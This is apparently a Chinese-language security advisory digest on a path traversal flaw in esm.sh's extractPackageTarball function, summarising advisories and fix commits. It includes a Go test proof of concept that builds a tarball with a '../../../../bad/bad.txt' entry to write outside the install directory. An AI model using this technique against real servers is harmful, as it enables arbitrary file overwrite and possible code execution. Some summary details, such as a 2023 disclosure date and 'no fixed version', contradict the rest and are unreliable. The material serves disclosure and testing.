# esm.sh `extractPackageTarball` 路径遍历漏洞
## 概述
esm.sh 存在一个路径遍历漏洞,因对恶意 tar 文件中的绝对路径防护不完整所致。该问题在 Go 伪版本 `0.0.0-20260116051925-c62ab83c589e` 中被修复。
## 影响版本
所有早于 Go 伪版本 `0.0.0-20260116051925-c62ab83c589e` 的版本。
## 细节
漏洞源于 `path.Clean` 调用仅对路径进行标准化,但未阻止恶意构造的 tar 文件中包含绝对路径,导致路径遍历攻击仍可能发生。此前的修复不完整,直至提交 [9d77b88](https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16) 才彻底解决。
## 影响
攻击者可利用该漏洞通过恶意 tar 文件实现路径遍历,可能覆盖或访问服务器上任意位置的文件,造成文件泄露或篡改。
是否为 Web 类漏洞: 未知
判断理由:
| # | POC 描述 | 源链接 | 神龙链接 |
|---|
标题: GO-2025-4138 - Go Packages -- 🔗来源链接
标签:x_refsource_MISC
神龙速读:
### 关键信息摘要
#### 漏洞 ID
- GO-2025-4138
- CVE-2025-65025
- GHSA-h3mw-4f23-gwpw
#### 影响范围
- 模块: github.com/esm-dev/esm.sh
- 版本: before v0.0.0-20251117232647-9d77b88c3207
#### 漏洞描述
- esm.sh CDN服务因tar解压漏洞,存在任意文件写入的风险。
#### 发布日期
- 2025年11月25日
#### 审核状态
- Unreviewed
#### 参考链接
- [GitHub Security Advisory](https://github.com/esm-dev/esm.sh/security/advisories/GHSA-h3mw-4f23-gwpw)
- [NVD Vulnerability Detail](https://nvd.nist.gov/vuln/detail/CVE-2025-65025)
- [GitHub Commit](https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16)
- [Vuln.go Dev Report](https://vuln.go.dev/id/GO-2025-4138.json)
标题: Path traversal in `extractPackageTarball` enables file writes from malicious packages · Advisory · esm-dev/esm.sh · GitHub -- 🔗来源链接
标签:x_refsource_CONFIRM
神龙速读:
### 关键漏洞信息
#### 漏洞概述
- **CVE ID**: CVE-2026-23644
- **严重性**: High
- **受影响版本**: < v136
- **已修复版本**: 无
#### 漏洞详情
- **描述**: `extractPackageTarball` 函数中的路径遍历漏洞使恶意软件包能够执行文件写入操作。
- **漏洞原因**: 之前的修复 (`GO-2025-4138`) 并未完全解决 `path.Clean` 对绝对路径的处理问题。
- **影响**: 可能允许覆盖 `esm.sh` 配置文件和污染缓存包。在某些情况下,可能导致服务器端代码执行。
#### 利用示例 (PoC)
```go
package server
import (
"archive/tar"
"bytes"
"compress/gzip"
"testing"
)
func TestExtractPackageTarball_PathTraversal(t *testing.T) {
installDir := "./testdata/good"
// 生成恶意 tarball 包含路径遍历尝试
var buf bytes.Buffer
gw := gzip.NewWriter(&buf)
tw := tar.NewWriter(gw)
// 添加正常文件
content := []byte("export const foo = 'bar';")
header := &tar.Header{
Name: "package/index.js",
Mode: 0644,
Size: int64(len(content)),
Typeflag: tar.TypeReg,
}
if err := tw.WriteHeader(header); err != nil {
t.Fatal(err)
}
if _, err := tw.Write(content); err != nil {
t.Fatal(err)
}
// 添加带路径遍历的恶意文件
bad := []byte("bad")
header = &tar.Header{
Name: "../../../../bad/bad.txt",
Mode: 0644,
Size: int64(len(bad)),
Typeflag: tar.TypeReg,
}
if err := tw.WriteHeader(header); err != nil {
t.Fatal(err)
}
if _, err := tw.Write(bad); err != nil {
t.Fatal(err)
}
tw.Close()
gw.Close()
// 使用恶意 tarball 调用 extractPackageTarball
if err := extractPackageTarball(installDir, "test-package", bytes.NewReader(buf.Bytes())); err != nil {
t.Errorf("extractPackageTarball returned error: %v", err)
}
}
```
#### 影响评估
- 可能覆盖配置文件和缓存包。
- 在特定配置下可能执行服务器端代码。
#### 暂时解决方案
- 使用 `os.Root` 可以解决该问题而不增加额外依赖。
#### 披露计划
- 暂不公开此问题,直到 2023 年 1 月 14 日或修复方案公开。
标题: Clean tar save file path (#1236) · esm-dev/esm.sh@9d77b88 · GitHub -- 🔗来源链接
标签:x_refsource_MISC
神龙速读:
### 关键信息
- **问题编号**: #1236
- **提交ID**: 9d77b88
- **提交描述**: "Clean tar save file path"
- **修改文件**: server/npmrc.go
- **修改内容**:
- 行549从 `filename := path.Join(pkgDir, name)` 更改为 `filename := path.Join(pkgDir, path.Clean(name))`
- 这个更改主要是为了解决tar文件路径中的潜在脆弱性,使用`path.Clean`函数确保路径名的安全性,防止类似于路径遍历的攻击。
- **安全影响**: 此更新可能修复了恶意tar文件可能导致的路径遍历漏洞,确保解压的文件不会逃逸到指定的目录之外进行保存。
标题: Fix path traversal vulnerability in `extractPackageTarball` function … · esm-dev/esm.sh@c62ab83 · GitHub -- 🔗来源链接
标签:x_refsource_MISC
神龙速读:
### 关键信息
#### 漏洞类型
- **路径遍历漏洞**:`extractPackageTarball` 函数存在路径遍历漏洞(CVE类型)。
#### 描述
- 通过恶意构造的tarball文件,攻击者可以利用`extractPackageTarball` 函数的缺陷,绕过路径检查,访问或写入任意文件。
#### 修复措施
- **引入`filepath`包**:将`path.Join`替换为`filepath.Join`,确保路径过滤更安全。
- **规范化路径**:在提取文件时,使用`filepath.Clean`对路径进行规范化处理。
- **限制文件大小**:加入`maxAssetFileSize`,防止大文件的非法读写。
#### 影响文件
- **`server/npmrc.go`**:主要修复路径拼接和规范化。
- **`server/npmrc_test.go`**:新增测试用例,验证修复有效性。
暂无评论